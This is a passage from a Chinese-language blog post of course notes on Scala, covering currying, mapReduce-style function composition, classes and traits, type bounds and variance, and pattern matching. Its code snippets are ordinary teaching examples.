<p>直接放了尾递归的版本，这个函数接受3个参数，第一个是一个输入一个Int返回一个Int的函数，后面a和b是sum的范围，比如从5累加到10之类。如果我们需要直接做累加，可以这样调用：<code>sum(x =&gt; x, a, b)</code>，如果要算立方和，就可以改成<code>sum(x =&gt; x * x * x, a, b)</code>，方便，优雅，高逼格！</p>
<h3 id="Currying">Currying</h3>
<p>又是一个很著名的概念，名字来源于Haskell Curry大神……我要是成了大神是不是也能像他那样名和姓还能分别来命名程序语言和编程技术……Currying，顾名思义，就是采用了这种牛逼的技术后的代码，会让使用者在阅读和应用过程中感受到若有若无的咖喱香，其中以青咖喱最为爽辣过瘾……好吧，正经点，传说中编程语言的函数在一开始都是只能接受单个参数的，那要传多个参数怎么办呢？那就传一个参数，返回一个函数，然后再传一个，再返回一个函数，and so on……比如还是我们的老朋友sum函数，现在它将披上咖喱的外衣……</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">def</span> sum_c(f: Int =&gt; Int): (Int, Int) =&gt; Int = {</div><div class="line">  <span class="keyword">def</span> sumF(a: Int, b: Int): Int = {</div><div class="line">    <span class="keyword">if</span> (a &gt; b) <span class="number">0</span></div><div class="line">    <span class="keyword">else</span> f(a) + sumF(a + <span class="number">1</span>, b)</div><div class="line">  }</div><div class="line">  sumF</div><div class="line">}</div></pre></td></tr></table></figure>


<p>简化一下</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">def</span> sum(f: Int =&gt; Int)(a: Int, b: Int): Int = {</div><div class="line">  <span class="keyword">if</span> (a &gt; b) <span class="number">0</span> <span class="keyword">else</span> f(a) + sum(f)(a + <span class="number">1</span>, b)</div><div class="line">}</div></pre></td></tr></table></figure>


<p>我们还可以用这个方法来写连乘的!</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">def</span> product(f: Int =&gt; Int)(a: Int, b: Int): Int = {</div><div class="line">  <span class="keyword">if</span> (a &gt; b) <span class="number">1</span> <span class="keyword">else</span> f(a) * product(f)(a + <span class="number">1</span>, b)</div><div class="line">}</div></pre></td></tr></table></figure>


<p>写个咖喱版阶乘！</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">def</span> factorial(a: Int): Int = {</div><div class="line">  product(x =&gt; x)(<span class="number">1</span>, a)</div><div class="line">}</div></pre></td></tr></table></figure>


<p>就是这么简单！上面的<code>sum</code>和<code>product</code>长得很像，我们还可以提取一下共同点：</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">def</span> mapReduce(f: Int =&gt; Int, combine:(Int, Int) =&gt; Int, zero: Int)(a: Int, b: Int): Int = {</div><div class="line">  <span class="keyword">if</span> (a &gt; b) zero</div><div class="line">  <span class="keyword">else</span> combine(f(a), mapReduce(f, combine, zero)(a + <span class="number">1</span>, b))</div><div class="line">}</div></pre></td></tr></table></figure>


<p>于是就有了神奇的map-reduce！感觉我可以给这篇文章加上一个big-data的tag了有没有！<br>用新鲜火烫的<code>mapReduce</code>表达一下我们激动的心情：</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">def</span> excitingProduct(f: Int =&gt; Int)(a: Int, b: Int): Int = {</div><div class="line">  mapReduce(f, (x, y) =&gt; x * y, <span class="number">1</span>)(a, b)</div><div class="line">}</div></pre></td></tr></table></figure>


<p>另外还有个跟Currying不太一样的组合函数方式<code>compose</code>，比如我们定义一个简单的取绝对值开方函数：</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">def</span> sqrt_of_abs(i: Int) = math.sqrt(intToDouble(math.abs(i)))</div></pre></td></tr></table></figure>


<p>这里是连续调用3个函数，我们可以直接把它们拼在一起！</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">val</span> sqrt_of_abs = math.sqrt _ compose intToDouble _ compose math.abs _</div></pre></td></tr></table></figure>


<p>还可以按apply的次序来组合：</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">val</span> sqrt_of_abs = math.abs _ andThen intToDouble _ andThen math.sqrt _</div></pre></td></tr></table></figure>


<p>然后就可以直接调用<code>sqrt_of_abs(-9)</code>啦！</p>
<h3 id="Classes">Classes</h3>
<p>讲了半天FP，老师忽然来了个转折，开始介绍Scala中一些OO的概念，新一轮头脑风暴又开始了……类这个东西跟其他的OO语言还是挺像的，下面这个例子是实现一个有理数类：</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div></pre></td><td class="code"><pre><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">Rational</span><span class="params">(x: Int, y: Int)</span> </span>{</div><div class="line">  require(y != <span class="number">0</span>, <span class="string">"demoninator must be non-zero"</span>)</div><div class="line"> </div><div class="line">  <span class="keyword">def</span> <span class="keyword">this</span>(x: Int) = <span class="keyword">this</span>(x, <span class="number">1</span>)</div><div class="line"> </div><div class="line">  <span class="keyword">private</span> <span class="keyword">def</span> gcd(a: Int, b: Int): Int = <span class="keyword">if</span> (b == <span class="number">0</span>) a <span class="keyword">else</span> gcd(b, a % b)</div><div class="line">  <span class="keyword">private</span> <span class="keyword">val</span> g = gcd(x, y)</div><div class="line">  <span class="keyword">def</span> numer = x / g</div><div class="line">  <span class="keyword">def</span> denom = y / g</div><div class="line"> </div><div class="line">  <span class="keyword">def</span> + (that: Rational) = {</div><div class="line">    <span class="keyword">new</span> Rational(</div><div class="line">      numer * that.denom + that.numer * denom,</div><div class="line">      denom * that.denom</div><div class="line">    )</div><div class="line">  }</div><div class="line"> </div><div class="line">  <span class="keyword">def</span> unary_- : Rational = <span class="keyword">new</span> Rational(-numer, denom)</div><div class="line"> </div><div class="line">  <span class="keyword">def</span> - (that: Rational) = {</div><div class="line">    <span class="keyword">this</span> + -that</div><div class="line">  }</div><div class="line"> </div><div class="line">  <span class="keyword">def</span> * (that: Rational) = {</div><div class="line">    <span class="keyword">new</span> Rational(</div><div class="line">      numer * that.numer,</div><div class="line">      denom * that.denom</div><div class="line">    )</div><div class="line">  }</div><div class="line"> </div><div class="line">  <span class="keyword">def</span> &lt; (that: Rational) = numer * that.denom &lt; that.numer * denom</div><div class="line"> </div><div class="line">  <span class="keyword">def</span> max(that: Rational) = {</div><div class="line">    <span class="keyword">if</span> (<span class="keyword">this</span> &lt; that) that <span class="keyword">else</span> <span class="keyword">this</span></div><div class="line">  }</div><div class="line"> </div><div class="line">  <span class="keyword">override</span> <span class="keyword">def</span> toString = numer + <span class="string">"/"</span> + denom</div><div class="line">}</div></pre></td></tr></table></figure>


<p>这里唯一有点奇怪的就是那个unary了，<a href="http://stackoverflow.com/questions/16644988/why-is-the-unary-prefix-needed-in-scala" target="_blank" rel="external">这里</a>有一个关于为啥要用unary的解释！主要目的就是用它来实现一些前缀方法啦！（上例中是用它来表示负数）</p>
<h3 id="Class_Hierarchies">Class Hierarchies</h3>
<p>课上主要讲了abstract class，感觉跟别的语言里的抽象类也没啥区别，继承，override这些也都一样。另外Scala里的单例可以用object来实现：</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">abstract</span> <span class="class"><span class="keyword">class</span> <span class="title">TopLevel</span> </span>{     <span class="comment">// abstract class  </span></div><div class="line">  <span class="keyword">def</span> method1(x: Int): Int   <span class="comment">// abstract method  </span></div><div class="line">  <span class="keyword">def</span> method2(x: Int): Int = { ... }  </div><div class="line">}</div><div class="line"> </div><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">Level1</span> <span class="keyword">extends</span> <span class="title">TopLevel</span> </span>{  </div><div class="line">  <span class="keyword">def</span> method1(x: Int): Int = { ... }  </div><div class="line">  <span class="keyword">override</span> <span class="keyword">def</span> method2(x: Int): Int = { ...} <span class="comment">// TopLevel's method2 needs to be explicitly overridden  </span></div><div class="line">}</div><div class="line"> </div><div class="line"><span class="class"><span class="keyword">object</span> <span class="title">MyObject</span> <span class="keyword">extends</span> <span class="title">TopLevel</span> </span>{ ... } <span class="comment">// defines a singleton object. No other instance can be created</span></div></pre></td></tr></table></figure>


<p>另外可以用带有main方法的object来创建一个可执行程序：</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line"><span class="class"><span class="keyword">object</span> <span class="title">Hello</span> </span>{  </div><div class="line">  <span class="keyword">def</span> main(args: Array[String]) = println(<span class="string">"Hello world"</span>)  </div><div class="line">}</div></pre></td></tr></table></figure>


<h3 id="Class_Organization">Class Organization</h3>
<p>Scala的命名空间，import之类也没什么特别之处，各种类可以放在<code>package myPackage</code>里，然后在使用的时候可以<code>import myPackage.myClass</code>或者<code>import myPackage._</code>来import所有内容，也可以选几个import比如<code>import myPackage.{MyClass1, MyClass2}</code>，<code>import myPackage.{MyClass1 =&gt; A}</code>。<br>Scala支持多重继承，这里又引入一个新的关键词<code>trait</code>：</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line"><span class="class"><span class="keyword">trait</span> <span class="title">Planar</span> </span>{ ... }</div><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">Square</span> <span class="keyword">extends</span> <span class="title">Shape</span> <span class="keyword">with</span> <span class="title">Planar</span></span></div></pre></td></tr></table></figure>


<p>所有的classes, objects, traits可以继承最多一个class，但是可以继承任意多个traits（中英混合还考虑单复数，哥哥我真是严谨的一比）。Trait跟Java中的Interface很像，但是trait里是可以有field和具体实现的方法的！<br>另外还有Scala里的type继承关系图，懒得翻译了：</p>
<blockquote>
<p>General object hierarchy:</p>
<ul>
<li><code>scala.Any</code> base type of all types. Has methods <code>hashCode</code> and <code>toString</code> that can be overloaded</li>
<li><code>scala.AnyVal</code> base type of all primitive types. (<code>scala.Double</code>, <code>scala.Float</code>, etc.)</li>
<li><code>scala.AnyRef</code> base type of all reference types. (alias of <code>java.lang.Object</code>, supertype of <code>java.lang.String</code>, <code>scala.List</code>, any user-defined class)</li>
<li><code>scala.Null</code> is a subtype of any <code>scala.AnyRef</code> (<code>null</code> is the only instance of type <code>Null</code>), and <code>scala.Nothing</code> is a subtype of any other type without any instance.</li>
</ul>
</blockquote>
<p>然后老师还提了提fuctions as objects……哥不是函数式编程语言么，但是哥的函数也都是对象……就不怕搞不晕你！</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line"><span class="class"><span class="keyword">trait</span> <span class="title">Function1</span>[<span class="title">A</span>, <span class="title">B</span>] </span>{</div><div class="line">  <span class="keyword">def</span> apply(x: A): B</div><div class="line">}</div></pre></td></tr></table></figure>


<p>于是<code>(x: Int) =&gt; x * x</code>这样的一个函数，就变成了这样一个拥有<code>apply</code>方法的Object：</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div></pre></td><td class="code"><pre><div class="line">{ <span class="class"><span class="keyword">class</span> <span class="title">AnonFun</span> <span class="keyword">extends</span> <span class="title">Function1</span>[<span class="title">Int</span>, <span class="title">Int</span>] </span>{</div><div class="line">  <span class="keyword">def</span> apply(x: Int) = x * x</div><div class="line">  }</div><div class="line">  <span class="keyword">new</span> AnonFun</div><div class="line">}</div></pre></td></tr></table></figure>


<p>怎么样，有种天下大统的感觉了么？这个东西后面还会用到。不过这样的转化会发现Function1这个trait是接受单个参数的，上课时老师提到在Scala里建了很多种这种trait以处理多个参数的情况，目前最多是22个参数……这个感觉不是很优雅啊，像SML中所有函数都只接受一个参数，然后用pattern matching来做具体的“多参数”处理，然后函数直接就可以直接用类似Unix中的pipeline一样做流畅的链式调用，简洁优美啊！</p>
<p>另外老师还表示我大Scala是纯OO语言……比如自然数我们可以这么搞：</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">abstract</span> <span class="class"><span class="keyword">class</span> <span class="title">Nat</span> </span>{</div><div class="line">  <span class="keyword">def</span> isZero: Boolean</div><div class="line">  <span class="keyword">def</span> predecessor: Nat</div><div class="line">  <span class="keyword">def</span> successor = <span class="keyword">new</span> Succ(<span class="keyword">this</span>)</div><div class="line">  <span class="keyword">def</span> + (that: Nat): Nat</div><div class="line">  <span class="keyword">def</span> - (that: Nat): Nat</div><div class="line">}</div><div class="line"> </div><div class="line"><span class="class"><span class="keyword">object</span> <span class="title">Zero</span> <span class="keyword">extends</span> <span class="title">Nat</span> </span>{</div><div class="line">  <span class="keyword">def</span> isZero = <span class="keyword">true</span></div><div class="line">  <span class="keyword">def</span> predecessor = <span class="keyword">throw</span> <span class="keyword">new</span> Exception(<span class="string">"Not a natrual number"</span>)</div><div class="line">  <span class="keyword">def</span> + (that: Nat): Nat = that</div><div class="line">  <span class="keyword">def</span> - (that: Nat): Nat = <span class="keyword">if</span> (that.isZero) Zero <span class="keyword">else</span> <span class="keyword">throw</span> <span class="keyword">new</span> Exception(<span class="string">"Not a natrual number"</span>)</div><div class="line">}</div><div class="line"> </div><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">Succ</span><span class="params">(n: Nat)</span> <span class="keyword">extends</span> <span class="title">Nat</span> </span>{</div><div class="line">  <span class="keyword">def</span> isZero = <span class="keyword">false</span></div><div class="line">  <span class="keyword">def</span> predecessor = n</div><div class="line">  <span class="keyword">def</span> + (that: Nat): Nat = <span class="keyword">new</span> Succ(n + that)</div><div class="line">  <span class="keyword">def</span> - (that: Nat): Nat = <span class="keyword">if</span> (that.isZero) <span class="keyword">this</span> <span class="keyword">else</span> n - that.predecessor</div><div class="line">}</div></pre></td></tr></table></figure>


<p>这种既OO又FP的感觉真是太酸爽太劲道了呢……</p>
<h3 id="Polymorphism">Polymorphism</h3>
<p>这个部分是整个课程中比较复杂的部分了……包含subtyping和generics：</p>
<ul>
<li>generics，也就是一个函数或一个类的参数中可以用type parameter，大家应该都挺熟悉比如Java里的<code>public class Entry&lt;K, V&gt;</code>。</li>
<li>subtyping，也就是说一个子类实例可以在要求为其父类实例的地方使用，这个也好理解，因为子类必定是实现了所有父类中的方法的嘛。</li>
</ul>
<p>Scala中的generics：</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">MyClass</span>[<span class="title">T</span>]<span class="params">(arg1: T)</span> </span>{ ... }</div><div class="line"><span class="keyword">new</span> MyClass[Int](<span class="number">1</span>)</div><div class="line"><span class="keyword">new</span> MyClass(<span class="number">1</span>)   <span class="comment">// the type is being inferred, i.e. determined based on the value arguments</span></div></pre></td></tr></table></figure>


<p>有时候会有需求说我这个Class只接受某种type的子类型，换作动态语言估计得用<code>issubclass</code>之类的方法来写了吧，Java中有<code>&lt;T extends Animal&gt; void addAnimal(T animal)</code>，其他不熟悉……但是我们高大上的Scala却有更加眼花缭乱的方法！这就是type bounds：</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">def</span> myFct[T &lt;: TopLevel](arg: T): T = { ... } <span class="comment">// T must derive from TopLevel or be TopLevel</span></div><div class="line"><span class="keyword">def</span> myFct[T &gt;: Level1](arg: T): T = { ... }   <span class="comment">// T must be a supertype of Level1</span></div><div class="line"><span class="keyword">def</span> myFct[T &gt;: Level1 &lt;: Top Level](arg: T): T = { ... }</div></pre></td></tr></table></figure>


<p>不得不承认，真是太酷炫了！甚至还能同时指定写成这样：<code>[S &gt;: NonEmpty &lt;: IntSet]</code>。看到这个，是不是有点 <code>&gt; . &lt;</code> 了……</p>
<p>另外一种是Variance，不知道怎么翻译，直接看例子：</p>
<p>比如一个父类为<code>IntSet</code>，其中有两个子类<code>Empty</code>和<code>NonEmpty</code>，已知<code>NonEmpty &lt;: IntSet</code>，那么我们是否可以认为<code>List[NonEmpty] &lt;: List[IntSet]</code>呢？直觉上是可以的，但是仔细一想会有问题，比如以下Java代码：</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div></pre></td><td class="code"><pre><div class="line">NonEmpty [] a = <span class="keyword">new</span> NonEmpty []{ <span class="keyword">new</span> NonEmpty (<span class="number">1</span> , Empty , Empty )}</div><div class="line">IntSet [] b = a</div><div class="line">b [<span class="number">0</span>] = Empty</div><div class="line">NonEmpty s = a [<span class="number">0</span>]    <span class="comment">// Boom!</span></div></pre></td></tr></table></figure>


<p>可以看到我们在最后一行把一个Empty类型的变量assign给了NonEmpty类型变量！所以在可变类型中，这种covariant的关系是不存在的！</p>
<p>发现我还没写什么是covariant……</p>
<blockquote>
<p>假设<code>A &lt;: B</code>，<code>C[T]</code>是parameterized type，那么<code>C[A] &lt;: C[B]</code>即为covariant，<code>C[A] &gt;: C[B]</code>为contravariant</p>
</blockquote>
<p>注意！Scala屌炸天的语法又要出现了！</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">C</span>[+<span class="title">A</span>] </span>{ ... } <span class="comment">// C is covariant</span></div><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">C</span>[-<span class="title">A</span>] </span>{ ... } <span class="comment">// C is contravariant</span></div><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">C</span>[<span class="title">A</span>]  </span>{ ... } <span class="comment">// C is nonvariant</span></div></pre></td></tr></table></figure>


<p>呵呵，世界真奇妙！刚才我们说了，函数也是Object，所以还可以看看函数在输入和输出类型上到底是神马个关系，比如我们有两个函数：</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">type</span> A = IntSet =&gt; NonEmpty</div><div class="line"><span class="keyword">type</span> B = NonEmpty =&gt; IntSet</div></pre></td></tr></table></figure>


<p>那他们哪个是爸爸哪个是儿子呢！如果我们有个参数接受类型A，也就是输入一个<code>IntSet</code>输出一个<code>NonEmpty</code>，那我们能用B传进去吗？貌似不行哦，因为A里我还可以接受<code>Empty</code>呢，而B里面可能输出一个<code>Empty</code>又不满足是个<code>NonEmpty</code>，但是反过来就可以了！所以在这里<code>A &lt;: B</code>！这就是函数类型的特殊variance规则，表示如下：</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line"><span class="class"><span class="keyword">trait</span> <span class="title">Function1</span>[-<span class="title">T</span>, +<span class="title">U</span>] </span>{</div><div class="line">  <span class="keyword">def</span> apply(x: T): U</div><div class="line">} <span class="comment">// Variance check is OK because T is contravariant and U is covariant</span></div></pre></td></tr></table></figure>


<p>而之前那个generic array的继承关系的问题其实正好违反了这个规则：</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">Array</span>[+<span class="title">T</span>] </span>{</div><div class="line">  <span class="keyword">def</span> update(x: T)</div><div class="line">} <span class="comment">// variance checks fails</span></div></pre></td></tr></table></figure>


<p>另一个例子是immutable的<code>List</code>类型，展现了如何正确地通过variance type check：</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div></pre></td><td class="code"><pre><div class="line"><span class="class"><span class="keyword">trait</span> <span class="title">List</span>[+<span class="title">T</span>] </span>{</div><div class="line">  <span class="keyword">def</span> isEmpty: Boolean</div><div class="line">  <span class="keyword">def</span> head: T</div><div class="line">  <span class="keyword">def</span> tail: List[T]</div><div class="line">  <span class="keyword">def</span> prepend[U &gt;: T](elem: U): List[U] = <span class="keyword">new</span> Cons(elem, <span class="keyword">this</span>)</div><div class="line">}</div><div class="line"> </div><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">Cons</span>[<span class="title">T</span>]<span class="params">(val head: T, val tail: List[T])</span> <span class="keyword">extends</span> <span class="title">List</span>[<span class="title">T</span>] </span>{</div><div class="line">  <span class="keyword">def</span> isEmpty = <span class="keyword">false</span></div><div class="line">}</div><div class="line"> </div><div class="line"><span class="class"><span class="keyword">object</span> <span class="title">Nil</span> <span class="keyword">extends</span> <span class="title">List</span>[<span class="title">Nothing</span>] </span>{</div><div class="line">  <span class="keyword">def</span> isEmpty: Boolean = <span class="keyword">true</span></div><div class="line">  <span class="keyword">def</span> head: Nothing = <span class="keyword">throw</span> <span class="keyword">new</span> NoSuchElementException(<span class="string">"Nil.head"</span>)</div><div class="line">  <span class="keyword">def</span> tail: Nothing = <span class="keyword">throw</span> <span class="keyword">new</span> NoSuchElementException(<span class="string">"Nil.tail"</span>)</div><div class="line">}</div></pre></td></tr></table></figure>


<p>这里应用了两个关键点：</p>
<ol>
<li><code>Nothing</code>在Scala里是所有type的subtype，所以可以以此搞出一个<code>Nil</code>的单例来！</li>
<li>应用了function的variance规则，在<code>prepend</code>方法里设置了lower bound。然后在一个<code>List[NonEmpty]</code>里prepend一个<code>Empty</code>，就会返回一个<code>List[IntSet]</code>！这个很牛逼了……大家理解一下……从此之后<code>NonEmpty</code>与<code>Empty</code>幸福地生活在了一起，而不用担心其中一个被抓出去调用一个它没有的方法！What a happy ending！</li>
</ol>
<h3 id="Pattern_Matching">Pattern Matching</h3>
<p>这个又是FP中比较常见的decomposing数据结构的方法。这个在Dan的课中也有很大篇幅的介绍，因为这涉及到了OO与FP思想的一些重要的不同。两门课都用了计算表达式这个例子，不过还是Dan讲的比较清晰啊！假设我们有各种类型，基类是Expr，然后一个表达式里可能有Int，有Add，有Negate，有Multiply等类型，然后每个类中都有一些共同的方法比如都可以eval（求值），可以toString来显示表达式等：</p>
<ul>
<li>在OO中一般用的是继承和重载方法，这样在每个类里面实现各自的方法就可以处理不同情况了。所以我们只要在Int，Add等类里实现方法即可，而且要添加一个类也很方便。但是万一我们需要添加一个共同的方法，比如hasZero，那就得在每个类里都写一遍，会比较麻烦。</li>
<li>在FP中用的就是Pattern Matching了，一般是在各个处理方法中去match参数的类型，然后做相应的操作。优劣点跟上面OO的方法正好相反。<br>正是因为OO与FP在decomposing上的不同，所以他们适用的范围也不同，比如OO就很适合GUI编程，因为对于界面元素的操作相对固定，就点击啊拖拽之类的，但是界面元素的种类却相当繁多，所以添加各种子类的case也要多一些。而很多其他的应用比如数据类型没什么变化，但是会增加很多不同的处理方式，那就可以考虑采用FP风格的pattern matching了！下面这个表格摘自Dan的课程，采用OOP时增加一行也就是一种类型是比较容易的，而要增加一种操作就要去修改你所有之前的类的实现了。FP则正好反之。当然OOP中也有解决这些问题的方法比如Visitor模式，就是不如FP那么自然啦。</li>
</ul>
<table>
<thead>
<tr>
<th></th>
<th style="text-align:center">Eval</th>
<th style="text-align:center">toString</th>
<th style="text-align:center">hasZero</th>
</tr>
</thead>
<tbody>
<tr>
<td>Int</td>
<td style="text-align:center">…</td>
<td style="text-align:center">…</td>
<td style="text-align:center">…</td>
</tr>
<tr>
<td>Add</td>
<td style="text-align:center">…</td>
<td style="text-align:center">…</td>
<td style="text-align:center">…</td>
</tr>
<tr>
<td>Negate</td>
<td style="text-align:center">…</td>
<td style="text-align:center">…</td>
<td style="text-align:center">…</td>
</tr>
<tr>
<td>Multiply</td>
<td style="text-align:center">…</td>
<td style="text-align:center">…</td>
<td style="text-align:center">…</td>
</tr>
</tbody>
</table>
<p>在Scala中的Pattern Matching语法如下：</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div></pre></td><td class="code"><pre><div class="line">(someList: List[T]) <span class="keyword">match</span> {</div><div class="line">  <span class="keyword">case</span> Nil =&gt; ...          <span class="comment">// empty list</span></div><div class="line">  <span class="keyword">case</span> x :: Nil =&gt; ...     <span class="comment">// list with only one element</span></div><div class="line">  <span class="keyword">case</span> List(x) =&gt; ...      <span class="comment">// same as above</span></div><div class="line">  <span class="keyword">case</span> x :: xs =&gt; ...      <span class="comment">// a list with at least one element. x is bound to the head,</span></div><div class="line">                           <span class="comment">// xs to the tail. xs could be Nil or some other list.</span></div><div class="line">  <span class="keyword">case</span> <span class="number">1</span> :: <span class="number">2</span> :: cs =&gt; ... <span class="comment">// lists that starts with 1 and then 2</span></div><div class="line">  <span class="keyword">case</span> (x, y) :: ps =&gt; ... <span class="comment">// a list where the head element is a pair</span></div><div class="line">  <span class="keyword">case</span> _ =&gt; ...            <span class="comment">// default case if none of the above matches</span></div><div class="line">}</div></pre></td></tr></table></figure>


<p>和之前写过的SML比感觉基本没区别……不过Scala跟SML不同之处在于SML里用的是type来表示类型（如果没记错的话……）而在Scala里引入了case class这样就可以不需要调用new myClass就来做匹配了：</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">case</span> <span class="class"><span class="keyword">object</span> <span class="title">MyObject</span> <span class="keyword">extends</span> <span class="title">Somthing</span></span></div><div class="line"><span class="class"><span class="keyword">case</span> <span class="keyword">class</span> <span class="title">MyClass</span><span class="params">(a: Int, b: Int)</span></span></div><div class="line">unknownObject <span class="keyword">match</span> {</div><div class="line">  <span class="keyword">case</span> MyObject =&gt; ...</div><div class="line">  <span class="keyword">case</span> MyClass(a, b) =&gt; ...</div><div class="line">}</div></pre></td></tr></table></figure>


<p>case class还有些别的特性比如自动生成了hashCode，equals方法等。具体可以参考<a href="http://www.codecommit.com/blog/scala/case-classes-are-cool" target="_blank" rel="external">这篇文章</a>的详细介绍。</p>
<p>另外SML里有option类型的值，Scala也照单全收。比如如果直接访问<code>Map</code>类型中不存在的key会抛exception，而使用<code>Map.get</code>的方法则默认返回一个<code>Option[T]</code>，可能是<code>Some[T]</code>也可能是<code>None</code>：</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">val</span> myMap = Map(<span class="string">"a"</span> -&gt; <span class="number">42</span>, <span class="string">"b"</span> -&gt; <span class="number">43</span>)</div><div class="line"><span class="keyword">def</span> getMapValue(s: String): String = {</div><div class="line">  myMap get s <span class="keyword">match</span> {</div><div class="line">    <span class="keyword">case</span> Some(nb) =&gt; <span class="string">"Value found: "</span> + nb</div><div class="line">    <span class="keyword">case</span> None =&gt; <span class="string">"No value found"</span></div><div class="line">  }</div><div class="line">}</div><div class="line">getMapValue(<span class="string">"a"</span>)  <span class="comment">// "Value found: 42"</span></div><div class="line">getMapValue(<span class="string">"c"</span>)  <span class="comment">// "No value found"</span></div></pre></td></tr></table></figure>


<p>上面的代码还可以简写成：</p>
